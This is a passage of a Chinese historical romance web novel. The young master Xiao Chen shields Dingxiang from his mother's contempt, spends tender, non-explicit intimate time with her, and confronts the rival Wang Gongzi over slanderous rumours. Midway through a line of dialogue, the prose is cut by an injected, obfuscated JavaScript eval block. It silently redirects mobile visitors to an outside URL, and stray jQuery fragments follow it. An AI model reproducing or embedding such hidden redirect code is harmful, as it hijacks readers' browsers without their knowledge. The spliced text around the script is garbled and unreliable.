肖晨将丁香紧紧护在怀里,目光如炬地看向肖母,声音不大,却字字千钧:“她是我的妻子,是我肖晨认定的女人。”
他低头看了眼怀里瑟瑟发抖却强撑着的丁香,眼神瞬间软了几分,随即抬眼看向肖母时,又恢复了那份决绝:“从今往后,谁也不准再侮辱她、欺负她。我若是连自己的女人都护不住,还有什么脸面活在这世上?”
肖母被他这话惊得止住了哭骂,怔怔地看着他,仿佛第一次认识自己的儿子。
“你……你说什么浑话!”她声音发颤,“为了这么个女人,你竟要跟我置气,还说什么死不死的?”
“我从不说浑话。”肖晨的声音异常平静,平静得让人心头发寒,“母亲若是执意要伤害她,那我便陪她一起死。您选吧。”
这话像一把锋利的刀,狠狠插进肖母心里。她看着儿子眼底那份不容置疑的认真,看着他将那个女子护得密不透风的模样,突然意识到——这个儿子,是真的被她逼到了绝境。
他不是在威胁,是真的会这么做。
肖母的气焰瞬间矮了半截,嘴唇哆嗦着,却再也骂不出一个字。她怎么也想不明白,自己含辛茹苦养大的儿子,怎么就偏偏对这么个“卑贱”的女子动了真心,甚至愿意为她豁出性命?
旁边的丫鬟婆子吓得大气不敢出,屋里静得只剩下肖母粗重的喘息声。
丁香靠在肖晨怀里,听着他掷地有声的话,眼泪无声地滑落,滴在他的衣襟上。她从没想过,会有人为了她,做到这个地步。
肖晨轻轻拍着她的背,目光始终锁在肖母脸上,带着一种近乎悲壮的坚定。他知道这话伤了母亲的心,可他别无选择。退让一次,就会有无数次的伤害,他不能让丁香再落入那样的境地。
许久,肖母才缓缓站起身,眼神复杂地看了他们一眼,最后重重地“哼”了一声,甩袖就走,连狠话都没再说一句。走到门口时,脚步踉跄了一下,像是瞬间苍老了好几岁。
看着她的背影消失在院外,肖晨紧绷的身体才骤然松懈下来,抱着丁香缓缓蹲下身,将脸埋在她的颈窝,声音带着压抑的疲惫:“没事了……以后都没事了……”
丁香伸出手,轻轻环住他的背,感受着他微微的颤抖。阳光透过窗棂落在两人身上,明明是暖光,却带着一丝劫后余生的微凉。
她知道,这场风波或许还没结束,但只要身边有他,她就什么都不怕了。
肖晨松开紧抱的手,仔细替她拢了拢身上的外袍,温声道:“快进屋去,外面风凉,仔细着凉。”
丁香点点头,刚要转身,就被他拉住。他对门外的丫鬟吩咐:“去把早饭端来,多备些热粥和小菜。”
回到屋里,炉火已经烧得旺了,暖意渐渐漫开来。丫鬟很快端来早饭,肖晨亲自盛了一碗粥,用勺子搅了搅,试了温度才递到丁香嘴边:“慢点喝。”
丁香小口小口地喝着,看着他专注的侧脸,心里又暖又涩。
“以后不许再说‘走’字。”肖晨忽然开口,手里的勺子顿了顿,“更不能真的离开我。”
他抬眸看她,眼里带着一丝后怕:“刚才你要是真的走了,就不怕我伤心?”
丁香喉咙一哽,放下粥碗,伸手轻轻抚上他的脸颊:“我……我只是不想让你为难。”
“有你在,我才不为难。”肖晨握住她的手,放在唇边轻轻吻了吻,“没你的地方,才是真的难。”
他舀起一勺菜递过去,语气带着几分不易察觉的委屈:“你以为我护着你,是为了让你说走就走的?”
丁香看着他眼底的认真,用力摇了摇头,泪水又忍不住涌上来:“不走了……我再也不走了。”
肖晨这才笑了,眼里的阴霾散去不少,又继续喂她吃饭,动作温柔得不像话。“这才对。”他低声道,“以后不管遇到什么事,都要先告诉我,我们一起扛。不许再自己憋着,更不许想不开。”
丁香乖乖点头,小口吃着他喂来的饭菜,心里那片因流言和屈辱而荒芜的土地,仿佛正被他一点点用温柔灌溉,长出了名为“安稳”的嫩芽。
肖晨喂她吃完最后一口粥,将碗筷递给丫鬟,转身便又把她抱回床上。被褥还带着两人的体温,暖得让人不想起身。
丁香窝在他怀里,手指轻轻划着他的衣襟,小声问:“公子,你不去书院读书了么?”
肖晨低头啄了啄她的唇,声音带着慵懒的沙哑:“今日不去了。”他收紧手臂,将她抱得更紧,“眼下,陪着你才是最重要的事。”
他吻着她的眉眼,鼻尖,最后落在唇上,辗转厮磨,语气带着不容拒绝的笃定:“我不会离开你的,一步也不。”
这个吻渐渐变得深沉,带着压抑了许久的珍视与渴望。他的手轻轻抚过她的脊背,动作温柔却带着不容错辨的占有欲。经历了昨日的风波,他更清楚地知道,眼前这个人对他有多重要。他只想紧紧抱着她,感受她真实的体温和心跳,确认她是真的在自己身边。
丁香闭上眼,感受着他唇齿间的温柔与炽热。他的吻像潮水,一点点淹没她的感官,让她不由自主地沉溺其中。她不再犹豫,不再退缩,抬手环住他的脖颈,回应着他的吻。
他想要她,不是一时的情动,而是想要将这个人彻底融入自己的生命里。他的动作温柔而克制,带着小心翼翼的珍视,仿佛在对待世间最珍贵的宝藏。
丁香任由他索取,将自己的一切都毫无保留地交给他。她的身体,她的灵魂,她所有的脆弱与坚韧,都在这一刻向他全然敞开。在他的温柔里,那些关于“肮脏”的流言,那些关于“卑贱”的指责,都化作了泡影。
他要的从不是她的过去或未来,只是此刻这个完完全全属于他的、美好的她。
而丁香在他的温柔里彻底沉沦,她知道,自己这一辈子,都注定要属于这个不顾一切护她周全的男人了。
缠绵过后,丁香累得蜷缩在肖晨怀里,脸颊泛着红晕,眼睫上还沾着细碎的水汽。肖晨轻轻抚着她汗湿的发丝,指尖划过她光滑的脊背,动作温柔得像在呵护一件稀世珍宝。
窗外的日头渐渐升高,透过窗纱洒进来,在她裸露的肩头投下暖融融的光斑。
“饿不饿?”肖晨低头问,声音里带着刚经历过情事的沙哑。
丁香摇摇头,往他怀里缩了缩,鼻尖蹭着他的胸膛,像只慵懒的小猫。“不饿。”她的声音软软糯糯,带着几分依赖,“就这样抱着就好。”
肖晨失笑,低头在她发顶印下一个吻:“好,就抱着。”
他知道她心里还有不安,那些流言和肖母的态度像根刺,扎在她心上。他能做的,就是用尽可能多的时间陪着她,让她知道自己从不是孤军奋战。
两人静静相拥着,屋里只有彼此平稳的呼吸声。丁香听着他有力的心跳,原本慌乱的心渐渐安定下来,眼皮越来越沉,不知不觉就睡着了。
肖晨看着她熟睡的模样,长长的睫毛在眼睑下投出浅浅的阴影,嘴角还带着一丝满足的笑意。他替她掖好被角,自己却没有睡意,只是一瞬不瞬地看着她,眼里满是化不开的柔情。
他在心里盘算着,等她醒了,就去跟母亲好好谈谈。就算谈不拢,也要让她明白,丁香是他此生认定的人,谁也别想再动她分毫。至于王家父子和那些流言,他自然会一一查清,给丁香一个清白。
正想着,门外传来轻轻的敲门声,是阿成的声音:“少爷,书院的同窗派人来问,您今日还去不去?说先生要讲《论语》的新章了。”
肖晨皱了皱眉,低头看了眼怀里熟睡的人,低声回道:“不去了,替我跟先生告个假。”
“是。”阿成应着,脚步声渐渐远去。
肖晨重新将注意力放回丁香身上,指尖轻轻拂过她的脸颊。阳光正好,爱人在侧,纵使前路有再多风雨,此刻的安稳也足以支撑他披荆斩棘。
他只想守着这份温暖,护着怀里这个人,直到地老天荒。
李傲雪坐在窗边,手里捏着绣了一半的帕子,针脚却歪歪扭扭。窗外的海棠开得正盛,她却没心思看,目光落在院门口,时不时叹口气。
上次为了替丁香求情,她被肖母罚去祠堂跪了两个时辰,膝盖至今还隐隐作痛。肖母当时的话像针一样扎在她心上:“你是肖家明媒正娶的少夫人,胳膊肘倒往外拐,帮着一个贱蹄子说话?眼里还有没有我这个婆母?”
她知道自己是儿媳,孝顺二字压在肩上,不能真的跟婆母硬顶。更何况,肖母本就对丁香心存芥蒂,她若再强辩,只会火上浇油,让丁香更难立足。
“少夫人,喝杯茶吧。”丫鬟端来热茶,轻声道,“您都坐了一上午了,眉头就没松开过。”
李傲雪接过茶盏,指尖触到温热的杯壁,才轻轻叹了口气:“我在想……丁香那边,不知怎么样了。”
昨夜少爷护着丁香的动静,她隔着院子都听见了。知道肖晨会护着她,心里稍安,却又忍不住担心——肖母的脾气她最清楚,这次怕是不会善罢甘休。
“少爷那么护着丁姑娘,应该没事的。”丫鬟安慰道。
“我知道他护着。”李傲雪苦笑,“可正因如此,我才更不能添乱。肖母本就觉得是丁香勾着少爷,我若再去说情,反倒显得我们妯娌合起伙来瞒她,到时候……只会更糟。”
她放下茶盏,指尖划过帕子上未完成的花样:“少爷在外应付王家的事,还要分心护着丁香,已经够累了。我这个做妻子的,总不能再让他为家里的事操心。”
只是想到丁香受的委屈,想到她明明是个好姑娘,却要被流言和偏见磋磨,心里就像堵了块石头。
“再等等吧。”李傲雪轻声道,像是在对自己说,“等肖母气消了些,或许……或许我能找个机会,慢慢劝劝她。”
窗外的风卷起几片花瓣,落在窗台上。她望着那抹粉白,心里默默盼着,这场风波能早些过去,也盼着那个总带着怯意却藏着韧性的姑娘,能真的在肖家安稳下来。
日头爬到正空又渐渐西斜,屋里的光线变得柔和起来。丁香先醒了,看着身边熟睡的肖晨,他眉头舒展,侧脸在光晕里显得格外温润,她忍不住伸手轻轻碰了碰他的睫毛。
肖晨被她的动作弄醒,睁开眼就对上她带笑的眸子,伸手将她揽进怀里:“醒了?”
“嗯。”丁香点点头,脸颊微红,“都这个时辰了。”
肖晨坐起身,拿起旁边的衣衫,温柔地替她拢好:“别动,我来。”
丁香连忙想自己来,推拒着:“公子,还是我自己来吧,怎么能劳烦你动手……”
“你是我的女人,有什么劳烦的。”肖晨按住她的手,语气自然得像在说一件再平常不过的事。他的指尖划过她的手腕,替她系好衣带,动作娴熟又轻柔,仿佛做过千百遍。
丁香看着他专注的模样,心里暖融融的,也不再推辞,乖乖任由他摆布。等衣衫穿好,他又拿起梳子,替她梳理散乱的长发。
青丝如瀑,在他指间流淌,他轻轻绾起一个简单的发髻,用玉簪固定好。“好了。”他退后一步,打量着她,眼里满是笑意,“还是这样好看。”
丁香被他看得有些不好意思,低下头:“公子取笑我了。”
“没有取笑你。”肖晨伸手扶起她的下巴,认真道,“在我眼里,你怎样都好看。”
他拉着她的手起身:“饿了吧?让厨房炖了汤,我们去吃点东西。”
丁香任由他牵着,脚步轻快地跟着他往外走。阳光透过回廊的花窗洒下来,在两人身上投下斑驳的光影。她偷偷看了眼身旁的人,心里那份因流言而起的惶恐,早已被他一点点抚平。
两人刚走到外间,就见玉溪端着一个食盒进来,脸上带着腼腆的笑:“公子,丁姑娘,厨房炖了乌鸡汤,我给你们端来了。”
她把汤碗摆到桌上,看了看肖晨,又转向丁香,眼神格外真诚:“丁姑娘,外面那些乱七八糟的话,您别往心里去。”
丁香愣了一下,没想到玉溪会特意说这个。
玉溪又道:“我在府里待得久,知道您是个好姑娘,性子温和,待人也实诚。那些嚼舌根的话,一听就是假的,您千万别往心里去,伤了自己。”
她虽也是花楼里出来的,却看得通透——丁香进府后,从没仗着公子的宠爱跋扈过,平日里见了谁都客客气气,连扫地的老妈子都受过她的恩惠。
丁香心里一暖,眼眶微微发热:“谢谢你,玉溪。”
“谢什么呀。”玉溪笑着摆手,“您和公子这么好,那些坏心思的人自然看不得,才编出这些话来。您别理他们就是。”
肖晨看着这一幕,眼里漾起暖意,对玉溪道:“辛苦你了,下去吧。”
:
“哎。”玉溪应着,又看了丁香一眼,才轻快地退了出去。
肖晨盛了一碗汤递给丁香:“你看,不是所有人都信那些鬼话。”
丁香接过汤碗,热气模糊了视线。是啊,有肖晨护着,有李傲雪惦记,还有玉溪这样的人肯信她,她好像……也不是那么孤单。
她喝了一口汤,暖意从喉咙一直流到心里,轻声道:“嗯。”
只要守住心里的光,再冷的流言,也冻不住滚烫的人心。
丁香喝完最后一口汤,将碗放在桌上,指尖还残留着暖意。肖晨握住她的手,目光坚定:“走吧,我带你去见母亲,好好跟她说说。”
丁香心里一紧,下意识地退缩:“可是……母亲她万一……”
“没有万一。”肖晨打断她,握紧了她的手,“有我在,别怕。”
他拉着她穿过回廊,一步步走向肖母的院子。丁香的手心沁出细汗,却被他掌心的温度牢牢包裹着,那份坚定的力量,让她莫名安定了几分。
刚走进肖母的房间,就听见她冷嘲热讽的声音:“哟,这不是我的好儿子吗?有了那个贱蹄子陪着,还肯来看我这个老婆子?”
肖晨没理会她的讥讽,拉着丁香站到她面前,语气平静却带着分量:“您是我的母亲,我自然要来。”
他看了眼身旁的丁香,继续道:“丁香是我的女人,也是您明媒正娶的儿媳。她已经嫁进肖家,就是肖家的人。”
“我可没认这个儿媳!”肖母别过脸,语气强硬。
“认不认,她都是。”肖晨寸步不让,“您总说她配不上我,可她待我真心实意,陪在我身边时,我才觉得日子是暖的。儿子开心了,难道不是府里的喜事?”
他顿了顿,声音放柔了些:“您一直为难她,可她从没记恨过您,昨天还跟我说,怕惹您生气。这样的心意,难道还不够吗?”
丁香没想到他会这样说,惊讶地抬头看他,眼里泛起泪光。
肖晨回望了她一眼,又转向肖母,语气带着恳求:“母亲,看在我的面子上,别再为难她了。她往后会好好伺候您,也会好好守着这个家。给她一个机会,也当是……成全儿子,好不好?”
肖母沉默着,手指紧紧攥着手里的佛珠,指节泛白。她何尝听不出儿子话里的恳求,可心里那道坎,却怎么也过不去。
屋里静了许久,肖晨始终拉着丁香的手,没有退让的意思。丁香低着头,能感受到他掌心传来的力量,也能感受到他为了自己,正一点点融化母亲心里的坚冰。
终于,肖母重重地叹了口气,声音里带着疲惫:“罢了……我管不动你了。”
她抬眼看向丁香,眼神依旧冰冷,却没再说出刻薄的话:“既然进了肖家的门,就守好肖家的规矩。再敢做出什么丢人现眼的事,我饶不了你。”
这话虽算不上接纳,却已是松动的迹象。肖晨心里一松,拉着丁香屈膝行礼:“谢母亲。”
丁香也连忙跟着行礼,声音带着感激的微颤:“谢母亲。”
走出肖母的院子时,夕阳正染红天际。肖晨低头看她,眼里满是笑意:“你看,我说了没事的。”
丁香望着他,用力点了点头,眼角的泪滑落,这一次,却带着如释重负的暖意。
肖晨牵着她的手往回走,晚风拂过,带着草木的清香。他侧头看她,眼里带着温柔的笃定:“别怕,以后不管遇到什么事,我都会护着你。”
丁香低头看着两人交握的手,声音轻得像叹息:“公子,我何德何能,能让您这样护着我?”她总觉得自己像株依附他的菟丝花,没了他的庇护,便只能任人践踏。
肖晨停下脚步,弯腰平视着她的眼睛,语气带着几分故意的严肃:“又说傻话。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16095654|178041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>他抬手捏了捏她的脸颊,动作亲昵:“这可不像我认识的丁香。你忘了刚进府时,被老妈子刁难也不肯低头,被下人嚼舌根也能笑着应对?那时候的你多坚强,谁也别想欺负到你头上。”
他故意扬了扬眉:“怎么,现在就遇到这么点困难,就怕了?”
丁香被他说得一愣,那些被遗忘的坚韧仿佛被他一句话唤醒。是啊,她曾在更难的处境里挣扎过,花船上的屈辱、被转卖的惶恐,她都咬牙扛过来了,怎么如今有了他的庇护,反倒变得胆怯了?
“我……”她张了张嘴,眼里的怯懦渐渐褪去,多了几分清亮。
肖晨见她神色松动,笑了起来,伸手揉了揉她的头发:“这才对。”他重新牵起她的手,往回走去,“以后不许再想这些有的没的。你是我的妻子,我护着你天经地义,哪来那么多‘何德何能’?”
“再说了,”他低头凑近她耳边,声音带着笑意,“你这么好,值得我护着。”
丁香的脸颊泛起红晕,心里的不安像被风吹散的云,渐渐淡了。她抬头看他,夕阳的金光落在他脸上,柔和了他的轮廓。或许,她真的可以再勇敢一点,和他一起,把日子过成想要的模样。
肖晨看着她脸颊泛起的红晕,像被夕阳染上的霞光,温柔又动人。他停下脚步,伸手轻轻托住她的下巴,低头便吻了上去。
这个吻不同于昨夜的炽热缠绵,带着午后阳光般的暖意,轻柔地辗转厮磨。他能尝到她唇齿间残留的鸡汤鲜香,混着她独有的清甜,让人心头一漾。
丁香被他吻得呼吸微促,抬手轻轻抓住他的衣襟,指尖微微发颤。夕阳的金光穿过枝叶,在两人交叠的身影上投下细碎的光斑,连晚风都变得温柔起来。
肖晨吻了许久才松开她,额头抵着她的额头,气息交融:“脸红的样子,更好看。”
丁香把脸埋进他的颈窝,声音细若蚊蚋:“公子又取笑我……”
“没取笑。”他低笑,声音里满是宠溺,“是真心觉得好看。”
他牵起她的手,继续往回走,指尖的温度烫得她心头发暖。晚霞铺满天空,将两人的影子拉得很长,仿佛要一直延伸到很远的将来。
回到院里时,暮色已经漫了上来。丫鬟们点了灯,暖黄的光晕透过窗纸,在地上映出柔和的轮廓。
肖晨让厨房加了几样丁香爱吃的小菜,两人相对而坐,慢慢吃着晚饭。没有了白日的紧绷,气氛显得格外温馨。
“明日我去趟王家。”肖晨忽然开口,夹了一筷子菜放进她碗里,“有些事,该做个了断了。”
丁香知道他说的是流言的事,抬头看着他:“要……要我一起去吗?”
“不用。”肖晨摇摇头,握住她的手,“你乖乖在家等着,我去处理就好。那些造谣生事的人,总该付出点代价。”
他不想让她再面对那些不堪的目光,有些脏活累活,他来做就好。
丁香点点头,心里却默默记下了。她知道自己帮不上什么大忙,但至少可以在这里,等他回来。
晚饭后,两人坐在廊下看月亮。月光清辉洒地,院里的桂树落了几片叶子,沙沙作响。
“你看,今晚的月亮很圆。”肖晨指着天上的圆月,侧头对她说。
丁香顺着他指的方向看去,轻声道:“是很圆。”
“就像……我们现在这样。”肖晨握紧她的手,“团圆的圆。”
丁香的心轻轻一颤,转头看他,他眼里的温柔比月光更甚。她忽然明白,所谓的安稳,或许就是这样——有个人牵着你的手,看遍日月星辰,把寻常日子过出暖意。
夜渐深,肖晨起身将她打横抱起:“夜深了,回屋睡吧。”
丁香窝在他怀里,听着他沉稳的心跳,鼻尖萦绕着他身上清冽的皂角香。她知道,往后的路或许还会有波折,但只要身边有他,她就什么都不怕了。
肖晨低头看着怀里闭目浅笑的人,脚步放得更轻。月光下,他的眼神坚定——他会护着她,护着这份来之不易的温暖,直到岁月尽头。
天刚蒙蒙亮,丁香就醒了,见肖晨还在熟睡,她轻手轻脚地起身,替他掖好被角,便去了外间准备洗漱的东西。
等肖晨醒来时,她已经端着热水进来,脸上带着浅浅的笑意:“公子醒了?快洗漱吧。”
肖晨刚要自己动手,她却按住他的手:“公子,今日让我来吧。”她拿起布巾蘸了水,仔细替他擦拭脸颊,动作轻柔又认真,“以前总让您照顾我,现在我也想好好服侍您。”
肖晨看着她眼里的坚持,便不再推辞,任由她替自己洗漱。等擦完脸,她又拿起一旁的衣衫,小心翼翼地替他穿上,系衣带时指尖不小心碰到他的腰侧,两人都顿了一下,她脸颊微红,却还是稳稳系好了结。
“好了。”她退后一步,看着他穿戴整齐的样子,眼里满是满足。
肖晨伸手将她揽进怀里,低头在她额上印下一个吻:“我的丁香,越来越能干了。”
两人收拾妥当,一同去了饭厅。李傲雪已经在那里等着,见他们进来,笑着招呼:“醒了?快来吃饭吧,厨房做了你们爱吃的阳春面。”
早饭吃得平静温馨,李傲雪偶尔说些府里的琐事,丁香安静地听着,时不时给肖晨碗里添些小菜。
吃过饭,肖晨要动身去王府了。走到门口,他忽然张开双臂,将丁香轻轻拥进怀里,下巴抵在她的发顶,这个拥抱不同于以往的浅尝辄止,带着一种将她整个人纳入怀中的安稳感。
“等我回来。”他在她耳边低语,声音带着现代式的亲昵与笃定。
丁香被这个陌生的拥抱弄得有些发愣,却还是下意识地环住他的腰,把脸贴在他的胸口:“嗯,我等你。”
肖晨松开她,揉了揉她的头发,转身大步离去。丁香站在门口望着他的背影,直到消失在巷口才收回目光,心里却像被那个拥抱填满了暖意。
她知道,他这一去是为了给她讨回公道,而她能做的,就是在这里,安安稳稳地等他回来。
马车在王府门前停下,肖晨推门下车,脸色沉得像要滴出水来。门房见是他,不敢怠慢,连忙往里通报。
王公子正坐在花园里喝茶,听说肖晨来了,嘴角勾起一抹讥讽的笑。他原以为散播那些谣言,能让肖晨厌弃丁香,甚至能让肖母把人赶出府,自己说不定还有机会。可这几日听底下人说,肖晨不仅没疏远丁香,反倒护得更紧了,心里正憋着气。
见肖晨走进来,王公子故意慢条斯理地抿了口茶:“稀客啊,肖兄怎么有空来我这?”
肖晨没心思跟他虚与委蛇,开门见山:“那些关于丁香的谣言,是你让人散布的吧?”
王公子放下茶杯,脸上的笑意不变,语气却带着挑衅:“是又如何?”
“你知不知道那些话对她的伤害有多大?”肖晨的声音冷得像冰,“她差点被我母亲卖到花船,若不是我及时赶到……”
“哦?竟有这事?”王公子挑眉,眼底闪过一丝快意,随即又摆出一副无辜的样子,“可肖兄,我帮她从府里逃跑,这总是事实吧?若不是我,她现在还在那污浊之地呢。”
他故意加重“污浊之地”几个字,看着肖晨的脸色一点点变青,心里越发得意:“说起来,我也算她的救命恩人,如今说几句实话,难道不行?”
“实话?”肖晨怒极反笑,一步步逼近他,“你所谓的实话,是添油加醋地编造她的过往,是用最龌龊的心思揣测她的清白!你救她,不过是想把她当成玩物,没能得手便怀恨在心,用这种下三滥的手段报复——这就是你所谓的‘救命之恩’?”
王公子被他说得脸色一阵青一阵白,猛地站起身:“肖晨,你别给脸不要脸!我敬你是世家公子,你倒真以为我怕你?”
“我从没想过让你怕。”肖晨盯着他,眼神锐利如刀,“我今天来,是告诉你,丁香是我肖晨的妻子,往后谁再敢动她一根头发,或者说一句污蔑她的话,我肖晨第一个不饶!”
他顿了顿,声音里带着不容置疑的警告:“你那些龌龊心思,最好收起来。再敢招惹她,我会让你知道,什么叫后悔。”
说完,他转身就走,留下王公子在原地气得浑身发抖,望着他的背影,眼里满是怨毒。